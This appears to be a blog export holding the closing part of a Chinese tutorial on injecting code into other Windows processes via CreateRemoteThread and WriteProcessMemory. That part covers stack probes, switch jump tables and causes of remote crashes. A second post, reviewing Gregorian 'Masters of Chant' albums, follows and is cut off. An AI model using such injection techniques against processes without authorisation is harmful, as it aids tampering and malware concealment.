ret\n请注意在上面的例子中ESP（栈指针）是如何被改变的。但是如果一个函数有多于4K的局部变量该怎么办？这种情况下，栈指针不会被直接改变，而是通过一个函数调用来正确实现ESP的改变。但是就是这个“函数调用”导致了ThreadFunc的崩溃，因为它在远程进程中的拷贝将会调用一个不存在的函数。\n让我们来看看文档关于栈探针（stack probes）和/Gs编译选项的说明：\n“/Gssize选项是一个允许你控制栈探针的高级特性。栈探针是编译器插入到每个函数调用中的一系列代码。当被激活时，栈探针将温和地按照存储函数局部变量所需要的空间大小来移动\n如果一个函数需要大于size指定的局部变量空间，它的栈探针将被激活。默认的size为一个页的大小（在80\u0026#215;86上为4k）。这个值可以使一个Win32程序和Windows NT的虚拟内存管理程序和谐地交互，在运行期间向程序栈增加已提交的内存总数。\n我能确定你们对上面的叙述（“栈探针将温和地按照存储函数局部变量所需要的空间大小来移动”）感到奇怪。这些编译选项（他们的描述！）有时候真的让人很恼火，特别是当你想真的了解它们是怎么工作的时候。打个比方，如果一个函数需要12kb的空间来存放局部变量，栈上的内存是这样“分配”的\nsub\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; esp, 0x1000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; 先“分配”4 Kb\ntest\u0026nbsp;\u0026nbsp; [esp], eax\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; touches memory in order to commit a\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; new page (if not already committed)\nsub\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; esp, 0x1000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; “分配”第二个 4 Kb\ntest\u0026nbsp;\u0026nbsp; [esp], eax\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; \u0026#8230;\nsub\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; esp, 0x1000\ntest\u0026nbsp;\u0026nbsp; [esp], eax\n注意栈指针是如何以4Kb为单位移动的，更重要的是每移动一步后使用test对栈底的处理（more importantly, how the bottom of the stack is \u0026#8220;touched\u0026#8221; after each step）。这可以确保了在“分配”下一个页之前，包含栈底的页已经被提交。\n继续阅读文档的说明：\n“每一个新的线程会拥有（receives）自己的栈空间，这包括已经提交的内存和保留的内存。默认情况下每个线程使用1MB的保留内存和一个页大小的以提交内存。如果有必要，系统将从保留内存中提交一个页。”（看MSDN中GreateThread \u0026gt; dwStackSize\u0026nbsp;\u0026nbsp; \u0026gt; “Thread Stack Size”）\n..现在为什么文档中说“这个值可以使一个Win32程序和Windows NT的虚拟内存管理程序和谐地交互”也很清楚了。\nE) 为什么我要把多于3个case分支的swith分割开来呢？\n同样，用例子来说明会简单些：\nint Dummy( int arg1 ) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; int ret =0;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; switch( arg1 ) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; case 1: ret = 1; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; case 2: ret = 2; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; case 3: ret = 3; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; case 4: ret = 0xA0B0; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return ret;\n}\n将会被编译为类似下面的代码：\nAddress\u0026nbsp;\u0026nbsp;\u0026nbsp; OpCode/Params\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Decoded instruction\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; arg1 -\u0026gt; ECX\n:00401000\u0026nbsp;\u0026nbsp; 8B4C2404\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov ecx, dword ptr [esp+04]\n:00401004\u0026nbsp;\u0026nbsp; 33C0\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; xor eax, eax\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; EAX = 0\n:00401006\u0026nbsp;\u0026nbsp; 49\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; dec ecx\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; ECX \u0026#8212;\n:00401007\u0026nbsp;\u0026nbsp; 83F903\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cmp ecx, 00000003\n:0040100A\u0026nbsp;\u0026nbsp; 771E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ja 0040102A\n; JMP to one of the addresses in table ***\n; note that ECX contains the offset\n:0040100C\u0026nbsp;\u0026nbsp; FF248D2C104000\u0026nbsp;\u0026nbsp;\u0026nbsp; jmp dword ptr [4*ecx+0040102C]\n:00401013\u0026nbsp;\u0026nbsp; B801000000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov eax, 00000001\u0026nbsp;\u0026nbsp;\u0026nbsp; ; case 1: eax = 1;\n:00401018\u0026nbsp;\u0026nbsp; C3\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ret\n:00401019\u0026nbsp;\u0026nbsp; B802000000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov eax, 00000002\u0026nbsp;\u0026nbsp;\u0026nbsp; ; case 2: eax = 2;\n:0040101E\u0026nbsp;\u0026nbsp; C3\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ret\n:0040101F\u0026nbsp;\u0026nbsp; B803000000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov eax, 00000003\u0026nbsp;\u0026nbsp;\u0026nbsp; ; case 3: eax = 3;\n:00401024\u0026nbsp;\u0026nbsp; C3\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ret\n:00401025\u0026nbsp;\u0026nbsp; B8B0A00000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov eax, 0000A0B0\u0026nbsp;\u0026nbsp;\u0026nbsp; ; case 4: eax = 0xA0B0;\n:0040102A\u0026nbsp;\u0026nbsp; C3\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ret\n:0040102B\u0026nbsp;\u0026nbsp; 90\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; nop\n; 地址表 ***\n:0040102C\u0026nbsp;\u0026nbsp; 13104000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; DWORD 00401013\u0026nbsp;\u0026nbsp;\u0026nbsp; ; jump to case 1\n:00401030\u0026nbsp;\u0026nbsp; 19104000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; DWORD 00401019\u0026nbsp;\u0026nbsp;\u0026nbsp; ; jump to case 2\n:00401034\u0026nbsp;\u0026nbsp; 1F104000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; DWORD 0040101F\u0026nbsp;\u0026nbsp;\u0026nbsp; ; jump to case 3\n:00401038\u0026nbsp;\u0026nbsp; 25104000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; DWORD 00401025\u0026nbsp;\u0026nbsp;\u0026nbsp; ; jump to case 4\n看到switch-case是如何实现的了吗？\n它没有去测试每个case分支，而是创建了一个地址表（address table）。我们简单地计算出在地址表中偏移就可以跳到正确的case分支。想想吧，这真是一个进步，假设你有一个50个分支的switch语句，假如没有这个技巧，你不的不执行50次CMP和JMP才能到达最后一个case，而使用地址表，你可以通过一次查表即跳到正确的case。使用算法的时间复杂度来衡量：我们把O（2n）的算法替换成了O(5)的算法，其中：\n1． O代表最坏情况下的时间复杂度。\n2． 我们假设计算偏移（即查表）并跳到正确的地址需要5个指令。\n现在，你可能认为上面的情况仅仅是因为case常量选择得比较好，（1，2，3，4，5）。幸运的是，现实生活中的大多数例子都可以应用这个方案，只是偏移的计算复杂了一点而已。但是，有两个例外：\n●如果少于3个case分支，或\n●如果case常量是完全相互无关的。（比如 1， 13， 50， 1000）。\n最终的结果和你使用普通的if-else if是一样的。\n有趣的地方：如果你曾经为case后面只能跟常量而迷惑的话，现在你应该知道为什么了吧。这个值必须在编译期间就确定下来，这样才能创建地址表。\n回到我们的问题！\n注意到0040100C处的JMP指令了吗？我们来看看Intel的文档对十六进制操作码FF的说明：\nOpcode\u0026nbsp;\u0026nbsp;\u0026nbsp; Instruction\u0026nbsp;\u0026nbsp; Description\nFF /4\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; JMP r/m32\u0026nbsp;\u0026nbsp;\u0026nbsp; Jump near, absolute indirect, address given in r/m32\nJMP使用了绝对地址！也就是说，它的其中一个操作数（在这里是0040102C）代表一个绝对地址。还用多说吗？现在远程的ThreadFunc会盲目第在地址表中004101C然后跳到这个错误的地方，马上使远程进程挂掉了。\nF) 到底是什么原因使远程进程崩溃了？\n如果你的远程进程崩溃了，原因可能为下列之一：\n1． 你引用了ThreadFunc中一个不存在的字符串。\n2． ThreadFunc中一个或多个指令使用了绝对寻址（看附录E中的例子）\n3． ThreadFunc调用了一个不存在的函数（这个函数调用可能是编译器或连接器添加的）。这时候你需要在反汇编器中寻找类似下面的代码：\n:004014C0\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; push EBP\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; entry point of ThreadFunc\n:004014C1\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov EBP, ESP\n\u0026#8230;\n:004014C5\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; call 0041550\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; 在这里崩溃了\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; remote process\n\u0026#8230;\n:00401502\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ret\n如果这个有争议的CALL是编译器添加的（因为一些不该打开的编译开关比如/GZ打开了），它要么在ThreadFunc的开头要么在ThreadFunc接近结尾的地方\n不管在什么情况下，你使用CreateRemoteThread \u0026amp; WriteProcessMemory技术时必须万分的小心，特别是编译器/连接器的设置，它们很可能会给你的ThreadFunc添加一些带来麻烦的东西。\n参考（省略）\n文章历史（省略）\n\u0026lt;结束\u0026gt;\n","permalink":"https://hessian.cn/p/305.html","summary":"\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这是什么意思？每个进程都有一个特殊的寄存器，这个寄存器指向下一条要执行的指令的内存地址，即32位Intel和AMD处理器上所谓的EIP寄存器。因为EIP是个特殊的寄存器，所以你不能像访问通用寄存器（EAX，EBX等）那样来访问它。换句话说，你找不到一个可以用来寻址EIP并且对它进行读写的操作码（OpCode）。然而，EIP同样可以被JMP，CALL，RET等指令隐含地改变（事实上它一直都在改变）。让我们举例说明32位的Intel和AMD处理器上CALL/RET是如何工作的吧：\n","title":"向其他进程注入代码的三种方法[2]"},{"content":" 音乐家简介 Biography：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Gregorian是由12位浸淫于教堂音乐与合声风格，拥有深厚古典基础，并在英国伦敦乐界有一定地位的演唱家所组成。其制作人Frank Peterson曾是Enigma的一员，知名作品有很多：如Enigma的\u0026lt;Sadeness\u0026gt;和\u0026lt;Principles Of Lust\u0026gt;，Sarah Brightman的\u0026lt;Time to Say Goodbye\u0026gt;等等。正因如此，我们常常可以在他们的作品中听到与Enigma如出一辙的配器和编曲，而Sarah Brightman更是数次在作品中献声，为专辑平添几分光彩。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 在此有必要介绍一下所谓的\u0026quot;Gregorian Chant\u0026quot;。这是在罗马天主教会的正式礼拜仪式中所唱的圣歌，起源于中世纪的罗马天主教会。当时有位教宗叫格林高利一世（Gregorius Magnus，任职期间公元590~604），他曾将这些圣歌编辑成册，因此后世人称其为\u0026ldquo;格林高利圣歌\u0026rdquo;。Gregorian Chant具有以下特征：歌词全是拉丁文，是无伴奏、无和声的单一旋律线，节奏非常自由，采用不同于\u0026ldquo;大小调系统\u0026rdquo;的调式音阶，同时还具有客观的、非个人的与超世俗的性质。这种圣歌音乐与礼拜仪式密不可分，它们可算是\u0026ldquo;功能性的音乐\u0026rdquo;，亦即具有特殊功用的音乐，不具娱乐价值。它们主要旨在表达歌词的宗教内涵，而不注重官能美感或情感诉求。但有趣的是，中世纪许多俗乐与民谣却改编自格林高利圣歌的曲调。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 圣乐对中世纪的欧洲人而言，与日常生活息息相关。当时，社区的每一份子都必须参加宗教聚会，并在聚会中唱圣歌。天主教的主要礼拜仪式有两种：\u0026ldquo;弥撒\u0026rdquo;与\u0026ldquo;日课经文\u0026rdquo;，格林高利圣歌就是应用在这两种天主教的礼仪歌曲。例如，弥撒常用部分的歌曲包括\u0026lt;垂怜曲\u0026gt;或\u0026lt;慈悲经\u0026gt;、\u0026lt;光荣颂\u0026gt;或\u0026lt;荣耀经\u0026gt;、\u0026lt;信经\u0026gt;、\u0026lt;欢呼歌\u0026gt;或\u0026lt;圣哉经\u0026gt;、\u0026lt;羔羊赞\u0026gt;，在中世纪时都是用格林高利圣歌来吟唱。因此一般民众对于格林高利圣歌的熟悉程度就如同今日一般民众对于本地流行歌曲的熟悉程度。\n国际版封面\n限定特别版封面\n国际版封面\n推荐指数：★★★☆\n01 Brothers In Arms 手足同心 / 5:56\n02 Scarborough Fair 史卡保罗市集 / 4:51\n03 Tears In Heaven 泪洒天堂 / 5:33\n04 Still I\u0026#8217;m Sad 悲伤依旧 / 4:59\n05 When A Man Loves A Woman 当男人爱上女人 / 4:54\n06 Nothing Else Matters 无关紧要 / 6:14\n07 Fade To Grey 退色 / 4:20\n08 Losing My Religion 失落的信仰 / 5:52\n09 Vienna 维也纳 / 5:03\n10 The Sound Of Silence 寂静之声 / 4:16\n11 Sebastian 塞巴斯提安 / 3:41\n12 Don\u0026#8217;t Give Up 不要放弃 / 6:28\n13 I Still Haven\u0026#8217;t Found What I\u0026#8217;m Looking For 遍寻不获 / 4:56\n14 Save A Prayer 拯救灵魂 / 4:16\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 这是一张激荡中存有柔婉，宽广中旋律流畅，难得听到让我呼吸紧闭的和声类音乐。以神圣的恢弘的教堂音乐诠释流行音乐，以发烧的乐器演奏衬托出人类旋律的博大深邃。乐器运用了电子风琴，鼓器和长笛。上帝，教堂给我们的感觉就象在宇宙中，旷达的空间感被淋漓尽致的展现和拓展开来！我们感谢教堂音乐，因为我们知道这是一张借鉴了玄妙的和声音乐去描述的流行歌曲，但我们听来的感觉竟是如何美妙啊！真难想象原有的歌曲被Gregorian的和声重新诠释出别样的神秘而恢弘的气质！\n\u0026mdash;\u0026mdash; 转载自 \u0026quot;雅然音乐天空\u0026quot;\n2001.10.15\u0026nbsp;\u0026nbsp; Gregorian \u0026lt;Masters Of Chant ChapterⅡ 上帝之声第二章\u0026gt;\u0026nbsp;\u0026nbsp; Pony Canyon\n国际版封面\n推荐指数：★★★\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 这是Gregorian在2001 年发行的专辑。封面继承了其圣堂诗篇第一章的风格，以几个身着蓝色斗篷长袍的修士为画面中心，充满了欧洲中世纪的神秘宗教气息，与其音乐可谓配合得天衣无 缝。这张专辑中的歌曲不像第一章几乎都是名曲。虽然少了一些宣传号召力，不过如此选曲的好处就是我们可以避开原曲的比较和干扰，专心一意的欣赏格林高利本 身的歌声。两相比较可谓各有千秋。\n德国版封面\n01 Moment Of Peace 片刻安宁 / 4:25\n02 The First Time Ever I Saw Your Face 一见钟情 / 6:01\n03 In The Air Tonight 今夜星光灿烂 / 5:46\n04 Bonny Portmore 明镜高悬 / 5:04\n05 Hymn 圣咏 / 6:08\n06 Child In Time 时间之子 / 5:22\n07 Everybody Gotta Learn Sometimes 学海无涯 / 5:20\n08 Wish You Wewe Here 愿你在此 / 5:34\n09 Lady D\u0026#8217;Arbanville 阿芭维丽夫人 / 4:48\n10 Heaven Can Wait 天堂可待 / 5:54\n11 Babylon 巴比伦 / 3:06\n12 Stairway To Heaven 天国的阶梯 / 8:06\n2002.10.07\u0026nbsp;\u0026nbsp; Gregorian \u0026lt;Masters Of Chant ChapterⅢ 上帝之声第三章\u0026gt;\n推荐指数：★★★★\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 这是Gregorian在2002 年末发行的专辑。封面设计与第二集很接近，但色调变为耀眼灿烂的金黄色，似乎要让我们重温中世纪圣歌的圣洁与辉煌。至于乐曲本身，我个人认为是整个系列三 集中最好的。几乎每一首都很动听，也很耐听。特别推荐第二首\u0026ldquo;Be\u0026rdquo;。总之，倘若你喜欢前面几集，这张是绝对不会让你失望的新作。若果你还没有听过，这张 专辑也将是一个让你喜欢上他们的好开始 。\n01 Join Me 与我同在 / 5:08 02 Be 存在/ 5:48 03 Blasphemous Rumours 渎神的谣言 / 4:28 04 Only You 只有你 / 4:33 05 Blue Monday 忧郁的星期一 / 3:28 06 Sacrifice 牺牲 / 5:48\n07 Ordinary World 尘世 / 7:10 08 Fields Of Gold 黄金国 / 4:29 09 Before The Dawn 黎明之前 / 4:52\n10 I Won\u0026#8217;t Hold You Back 永远支持你 / 5:30 11 Wicked Game 邪恶游戏 / 5:53\n12 Out Of The Cold 共渡严寒 / 3:50\n13 Voyage Voyage 航行 / 3:56\n14 Join Me 与你同在 (\u0026quot;Schill Out\u0026quot; Version) / 4:01\n2003.10.06\u0026nbsp;\u0026nbsp; Gregorian \u0026lt;Masters Of Chant ChapterⅣ 上帝之声第四章\u0026gt;\n推荐指数：★★★\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 有时候觉得Gregorian一年一张发片速度未免有些过快了，随之而来的就是换汤不换药的编曲风格以及炒冷饭的翻唱大餐。熟悉的旋律配上浑厚的合唱，虽然依旧舒服好听，但听多了未免有些过于商业化之嫌。也许制作人Frank Peterson也意识到了这点，下一张专辑\u0026lt;黑夜极光\u0026gt;总算在风格上作了一些突破，玩\u0026ldquo;黑暗氛围\u0026rdquo;。那再下一张会玩什么呢？白色圣洁？哈哈哈，大家就拭目以待吧。\n01 The Gift 天赐 / 4:50\n02 Bridge Over Troubled Water 奈何桥 / 5:36\n03 With Or Without You 有没有你 / 6:33\n04 Maid Of Orleans 圣女贞德 / 5:10\n05 Angels 天使 / 5:40\n06 Evening Falls 夜幕降临 / 4:53\n07 I\u0026#8217;ll Find My Way Home 回家的路 / 5:59\n08 Imagine 想象 / 5:10\n09 For No One 不为谁 / 3:50\n10 Hide And Seek 捉迷藏 / 5:15\n11 World 世界 / 4:14\n12 High Hopes 希望永在 / 7:05\n13 Clocks 时钟 / 4:23\n14 The End Of Days 世界末日 / 4:12\n15 Heaven Is A Place On Earth 人间天堂 / 3:59\n2004.10.25\u0026nbsp;\u0026nbsp; Gregorian \u0026lt;Masters Of Chant ChapterⅤ～The Dark Side 上帝之声第五章～黑夜极光\u0026gt; 国际版封面\n推荐指数：★★★\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 流行巨构＋圣乐史诗＝Gregorian，全球销售百万抚平人心，流行圣乐第五章典\u0026mdash;\u0026mdash;黑暗中浮现的光明，乱世里最温暖的圣音。摇滚女力伊凡塞斯、性感女皇凯莉米洛、歌德教主尼克凯芙、暴女摇滚莉塔福德、德国重工业金属Rammstein、配乐大师Jerry Goldsmith，他们的乐音都被Gregorian一一安抚。传承了几个世纪来回荡在教堂、庙宇及修道院的人声吟咏，配合先进录音技术的精密掌控及时兴曲目的重新铺陈，呈现出真正所谓跨界的音乐面相，放诸现今乐坛，所谓\u0026ldquo;上帝之声\u0026rdquo;，正是他们无可取代的正字标记。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这次的曲目还是有许多经典的重绎，包括有刚在全球写下女力摇滚狂潮的伊凡塞斯(Evanescence)的成品作之一、同时也是电影\u0026lt;夜魔侠 \u0026gt;片尾曲的，此番以安静而迷幻的口感呈现，值得一听；散发幽暗感的歌德摇滚教主Nick Cave \u0026amp; the Bad Seeds当年与澳洲小野猫凯莉米洛(Kylie Minogue)合作的，现在则成了人声暗沈的合唱，与当初的乐团编制呈现手法大异其趣；摇滚猛女Lita Ford当年以嘶吼骠悍Kiss Me Deadly一炮而红，同辑中的抒情主打Close My Eyes Forever却成了Gregorian风格的12人合声，柔情稍减却添醇厚风味；德国重团Rammstein素来以工业金属与交响乐的铺陈著称，而名作 Engel获选为这次的重唱曲目，除了是对团体的成就肯定外，更是选曲严谨通彻的名证；而配乐大师Jerry Goldsmith的电影\u0026lt;The Omen 凶兆\u0026gt;之配乐\u0026lt;天魔组曲 Ave Satani\u0026gt;本就是赞美圣诗的\u0026ldquo;逆向操作\u0026rdquo;版，以黑暗阴沈的恐怖合唱呈现对撒旦与伪基督的崇拜，和专辑名称\u0026lt;The Dark Side\u0026gt;构成了完美的呼应。\n限定混音特别版封面\n01 Hurt 伤痛 / 6:20\n02 My Immortal 我将永生 / 5:26\n03 The Four Horsemen 四骑士 / 4:51\n04 Unbeliever 异教徒 / 4:18\n05 Where The Wild Roses Grow 野玫瑰 / 4:51\n06 Close My Eyes Forever 我已瞑目 / 6:00\n07 More 更多 / 6:05\n08 Uninvited 不速之客 / 4:25\n09 The Raven 乌鸦 / 5:28\n10 Gregorian Anthem 教皇赞美歌 / 6:07\n11 Ave Satani (The Omen) 撒旦万岁 / 3:27\n12 The End 末日 / 2:06\n13 In The Shadows 阴影 / 2001\u0026nbsp;\u0026nbsp; Gregorian\n\u0026lt;Moment Of Peace(Single) 片刻安宁(单曲)\u0026gt;\n2001.02.12\u0026nbsp;\u0026nbsp; Gregorian (Live DVD)\n\u0026lt;Masters Of Chant In Santiago de Compostela\u0026gt;\n2001.10.03\u0026nbsp;\u0026nbsp; Gregorian\n\u0026lt;Moments Of Peace In Ireland (DVD)\u0026gt;\n2001.02.12\u0026nbsp;\u0026nbsp; Gregorian\n\u0026lt;Masters Of Chants ChapterⅢ (DVD)\u0026gt;\n2000\u0026nbsp;\u0026nbsp; Gregorian Chants \u0026lt;Love Songs 爱之歌\u0026gt;\u0026nbsp;\u0026nbsp; ELAP Music\n01 Imagine 想象 / 3:32\n02 Lady In Red 红衣宫女 / 4:58\n03 When You Say Nothing At All 无言 / 5:50\n04 Against All Odds 无论成败 / 3:57\n05 Nights In White Satin 夜色 / 5:09\n06 Beauty And The Beast 美女与野兽 / 4:00\n07 Can You Feel The Love Tonight 今夜感受我的爱 / 4:06\n08 Angels 天使 / 4:51\n09 How Deep Is Your Love 爱有多深 / 5:03\n10 When I Need You 当我需要你 / 5:19\n11 Perhaps Love 爱的疑问 / 4:23\n12 Hard To Say I\u0026#8217;m Sorry 说不出的道歉 / 5:30\n13 Scarborough Fair 史卡保罗市集 / 4:51\n14 Tears In Heaven 泪洒天堂 / 5:33\n15 Fade To Grey 退色 / 4:20\n16 The Sound Of Silence 寂静之声 / 4:16\n推荐指数：★☆\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 严格来说，这张并不是这里介绍的格林高利合唱团的作品，只是同类型的流行化的格林高利圣歌。不过也就在这里一起介绍了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 实话说，我个人并不太中意这张碟，准确地说是和\u0026ldquo;上帝之声\u0026rdquo;系列相比下，感觉比较失望吧。倒并不是由于歌曲本身不好，而是编曲太千篇一律了，相互之间没有什么特色， 因而显得单调而沉闷。不过这张碟在雅燃上倒是出乎意料的受欢迎，而且盗版也算常见，所以喜欢的朋友也不妨买一张试试看。\n2000\u0026nbsp;\u0026nbsp; Gregorian \u0026lt;Le Chant du Silence 纯粹的圣歌\u0026gt;\nChapter 1. Le qutrieme dimanche de I\u0026#8217;Avent（第1~3曲）\nChapter 2. La samedi saint（第4曲）\nChapter 3. Le dimanche de Paques（第5曲）\nChapter 4. Resurrectionis（第6~8曲）\nChapter 5. L\u0026#8217;Asension（第9~10曲）\nChapter 6. Le dimanche dePentecote（第11~12曲）\nChapter 7. Messe du dimanche de Pentecote（第13~22曲）\nChapter 8. Vepres du dimanche de Pentecote（第23~26曲）\nChapter 9. Final（第27~31曲）\n推荐指数：★\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Gregorian\u0026mdash;\u0026mdash;格林高利圣歌，很多人都是由于Masters Of Chants系列而了解甚至喜欢上这种音乐的，关于这种音乐体裁想必就不需要我再多做介绍了。Masters Of Chants系列虽然是毋庸置疑的经典之作，但是听多了这种\u0026ldquo;让上帝穿上牛仔裤\u0026rdquo;的新音乐，你会否多少觉得有些浮躁，甚至厌倦？你会否想追求更简单安静的音乐体验？\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果是的，这张专辑就是为你度身定做的最佳选择。\u0026ldquo;Le Chant du Silence 